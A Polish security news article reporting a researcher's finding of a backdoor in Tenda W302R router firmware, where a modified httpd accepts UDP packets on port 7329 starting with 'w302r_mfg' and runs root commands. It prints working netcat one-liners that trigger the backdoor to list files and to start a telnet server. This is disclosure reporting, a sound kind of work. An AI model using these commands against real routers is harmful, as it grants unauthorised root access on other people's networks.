Kolejna tylna furtka w ruterach – wystarczy magiczny pakiet UDP

Autor odkrycia tylnej furtki w ruterach D-Linka tym razem zabrał się za sprzęt firmy Tenda. Jak się domyślacie, czytacie ten artykuł, ponieważ tam również znalazł fragment kodu odpowiedzialny za wykonywanie nieautoryzowanych poleceń.

O ile furtka w ruterach D-Linka była dość trywialna (wymagała jedynie zmiany parametru User Agent), to tym razem mamy do czynienia z dużo bardziej wyrafinowanym mechanizmem. Craig, autor wpisów w serwisie /dev/ttyS0, zajął się najnowszym oprogramowaniem rutera Tenda W302R. Tradycyjnie rozpakował aktualizację oprogramowania i zlokalizował plik binarny serwera httpd. Tym razem producent skorzystał z serwera GoAhead, który został poddany znacznym modyfikacjom.

Craig zaczął od ciekawej obserwacji – przed uruchomieniem procesów obsługi żądań http, serwer wykonuje dość niestandardowe operacje w osobnym wątku. Po pierwsze, zaczyna nasłuchiwać pakietów UDP na porcie 7329. Brzmi to co najmniej interesująco. W kolejnym kroku proces odczytuje po 128 bitów z portu, czekając na komunikację. Otrzymany pakiet jest analizowany, a najważniejszym etapem tej analizy jest weryfikacja, czy pakiet zaczyna się od ciągu „w302r_mfg”.

W kolejnym kroku proces sprawdza, jakie otrzymał polecenie. Jeśli zawiera ono znak „e”, proces odpowiada stałym ciągiem, wykonując coś w rodzaju polecenia „ping”. Jeśli jednak jest to znak „x”, to umożliwia on… wykonanie dowolnego polecenia z uprawnieniami roota. Proces jest tak uprzejmy, że odpowiedź serwera przesyła na adres nadawcy pakietu. Znając tę sprytną metodę, możemy wykorzystać tylną furtkę za pomocą zwykłego netcata.

$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin

Zamiast wykonywać wszystkie polecenia za pomocą tylnej furtki, można tez po prostu uruchomić serwer telnet poleceniem

echo -ne "w302r_mfg\x00x/bin/busybox telnetd | nc -u -q 5 192.168.0.1 7329

Jest tylko jeden drobny szczegół – tylna furtka działa tylko na interfejsie LAN, zatem musimy znajdować się w tej samej sieci, co ofiara. Inny badacz zweryfikował, że ciąg odpowiedzialny za weryfikację pakietu znajduje się we wszystkich aktualnych wersjach oprogramowania obecnie wspieranych ruterów Tenda.